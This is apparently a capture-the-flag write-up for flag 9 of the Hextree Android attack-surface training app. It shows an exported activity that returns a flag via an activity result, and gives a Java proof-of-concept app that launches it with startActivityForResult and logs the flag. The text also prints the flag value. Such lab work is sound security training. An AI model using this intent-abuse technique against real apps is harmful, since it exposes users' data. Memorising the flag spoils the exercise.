Static Analysis
AndroidManifest.xml
Upon inspecting the Flag7Activity in the AndroidManifest.xml file we see the following
<activity
android:name="io.hextree.attacksurface.activities.Flag9Activity"
android:exported="true"/>Since exported is set to true we can call this activity from our exploit apk, let’s review the code to see how can we get the flag
Flag9Activity Class
public class Flag9Activity extends AppCompactActivity {
public Flag9Activity() {
this.name = "Flag 9 - Receive result with flag";
this.tag = "ActivityResult";
this.flag = "dNI5JoHkAhFhZffA0i8PMsFGHGD1cN2NG6NXmmslJhQ=";
}
@Override // io.hextree.attacksurface.AppCompactActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.f = new LogHelper(this);
ComponentName callingActivity = getCallingActivity();
if (callingActivity == null || !callingActivity.getClassName().contains("Hextree")) {
return;
}
Intent intent = new Intent("flag");
this.f.addTag(intent);
this.f.addTag(42);
intent.putExtra("flag", this.f.appendLog(this.flag));
setResult(-1, intent);
finish();
success(this);
}
}Upon reviewing the code we see it’s the same as Flag8 the only difference it returns the flag in the result
In order to recieve results we will need to use another function other than startActivity which is startActivityForResult so let’s talk about the difference between them and how to implement startActivityForResult
startActivityUsed to launch an activity without expecting any result. It’s for simple navigation between activities.
startActivityForResultUsed to launch an activity and get a result back once the activity finishes. It’s useful when you need the launched activity to return data or status back to the calling activity.
startActivityForResult implementation
In order to use it we need to override another function called onActivityResult
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent intent){
super.onActivityResult(requestCode, resultCode, intent);
// We set a request code for our startActivityForResult so we can identify it easily
if(requestCode == 1337){
// The result code is the code sent by the called activity, it will help us identify what happend exactly with the code
if(resultCode == -1){
Utils.showDialog(this, intent); // Great for debugging and showing different flags
Log.v("Flag9 - Flag", String.valueOf(intent.getStringExtra("flag"))); // This is to print the flag in the logs
}
}
}In our for example the resultCode that will be sent if we get a success is -1 so that’s what we will use it
Note
We don’t need to check the
resultCodeor therequestCodebut this will help us in the future to debug and so on
Creating POC
Now let’s create our POC that will fetch the flag
public class Flag09 extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_flag08);
Button button = findViewById(R.id.button_flag8);
button.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Log.v("HEXTREE", "Going to flag 9 activity");
Intent targetIntent = new Intent();
targetIntent.setComponent(new ComponentName("io.hextree.attacksurface", "io.hextree.attacksurface.activities.Flag9Activity"));
startActivityForResult(targetIntent,1337);
}
});
}
@Override
protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent intent){
super.onActivityResult(requestCode, resultCode, intent);
if(requestCode == 1337){
if(resultCode == -1){
Utils.showDialog(this, intent);
Log.v("Flag9 - Flag", String.valueOf(intent.getStringExtra("flag")));
}
}
}
}Flag
HXT{flag-in-result-gs891jh2}